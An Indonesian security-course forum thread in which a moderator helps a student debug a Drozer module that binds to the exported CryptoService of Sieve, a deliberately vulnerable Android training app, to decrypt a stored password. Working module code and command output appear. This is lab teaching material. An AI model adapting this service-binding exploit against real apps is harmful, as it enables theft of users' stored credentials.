Drozer custom module not find

Viewing 8 posts - 1 through 8 (of 8 total)
  • Author
    Posts
  • #270967
    hardiansyah080804
    Participant

      Setelah mengikuti langkah” pengerjaan ternyata module masih tetap error

      #270968
      Alinza Purwitiya
      Keymaster

        Halo Sob Hardiansyah!

        Bisa tolong didetailkan ya SOb kendala/erronya pada bagian apa, bisa juga sertakan gambar kendala/errornya dengan mengirimkannya Link Google Drive yang sudah diberikan akses share to Anyone ya Sob supaya Coach Williams bisa bantu kendalanya!

        Terima kasih

        #270969
        hardiansyah080804
        Participant
          #271133
          Coach Williams
          Moderator

            kurang ) di putbytestring

            import base64
            from drozer import android
            from drozer.modules import common, Module
            
            class Decrypt(Module, common.ServiceBinding):
                name = "Decrypt sieve password"
                description = "Exploit Sieve service to decrypt given password"
                path = ["exploit","sieve","service_decrypt"]
                permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
            
                def add_arguments(self,parser):
                    parser.add_argument("key", help="encryption key")
                    parser.add_argument("base64", help="base64 encrypted key")
            
                def execute(self,arguments):
                    bundle = self.new("android.os.Bundle")
                    bundle.putString("com.mwr.example.sieve.KEY", arguments.key)
                    bundle.putByteString("com.mwr.example.sieve.PASSWORD", self.arg(base64.b64decode(arguments.base64), obj_type="data"))
                    
                    binding = self.getBinding("com.mwr.example.sieve", "com.mwr.example.sieve.CryptoService")
                    binding.setBundle(bundle)
                    binding.setObjFormat("bundleAsObj")
            
                    msg = (13476,1,1)
            
                    if binding.send_message(msg, 5000):
                        self.stdout.write("%s\n" % binding.getData())
                    else:
                        self.stderr.write("An error occurred\n")
            
            #271205
            hardiansyah080804
            Participant

              drozer module sudah benar tapi output muncul sebagai berikut
              dz> run exploit.sieve.service_decrypt.decrypt password12345678 krG4E4pTsvcXaEv++h8o7IBxIyWBju0v0j3a0afp7Qg=
              putByteString for class android.os.Bundle
              dz> run exploit.sieve.service_decrypt.decrypt password12345678 krG4E4pTsvcXaEv++h8o7IBxIyWBju0v0j3a0afp7Qg=
              putByteString for class android.os.Bundle

              #271235

              permisi kak, apa kakak bisa mendownload dan menjalankan kali linux untuk virtual box?

              #271253
              Alinza Purwitiya
              Keymaster

                Halo Sob Nizar. Untuk link download Kali Linux sudah diinfokan di forum sebelah ya Kak. Bisa di cek ya Sob!

                #271401
                Coach Williams
                Moderator
                  import base64
                  from drozer import android
                  from drozer.modules import common, Module
                  
                  class Decrypt(Module, common.ServiceBinding):
                      name = "Decrypt sieve password"
                      description = "Exploit Sieve service to decrypt given password"
                      path = ["exploit", "sieve", "service_decrypt"]
                      permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
                  
                      def add_arguments(self, parser):
                          parser.add_argument("key", help="Encryption key")
                          parser.add_argument("base64", help="Base64‑encoded encrypted password")
                  
                      def execute(self, arguments):
                          # Build the Bundle with KEY and PASSWORD
                          bundle = self.new("android.os.Bundle")
                          bundle.putString("com.mwr.example.sieve.KEY", arguments.key)
                          # decode the base64 input and store as a byte array
                          bundle.putByteArray(
                              "com.mwr.example.sieve.PASSWORD",
                              base64.b64decode(arguments.base64)
                          )
                  
                          # Bind to the CryptoService inside the vulnerable app
                          binding = self.getBinding(
                              "com.mwr.example.sieve",
                              "com.mwr.example.sieve.CryptoService"
                          )
                          binding.setBundle(bundle)
                          binding.setObjFormat("bundleAsObj")
                  
                          # Send the message that triggers the decryption service
                          msg = (13476, 1, 1)
                          if binding.send_message(msg, 5000):
                              self.stdout.write("%s\n" % binding.getData())
                          else:
                              self.stderr.write("An error occurred\n")

                  bisa dicoba yang ini

                Viewing 8 posts - 1 through 8 (of 8 total)
                • You must be logged in to reply to this topic.
                Shopping cart0
                There are no products in the cart!
                Continue shopping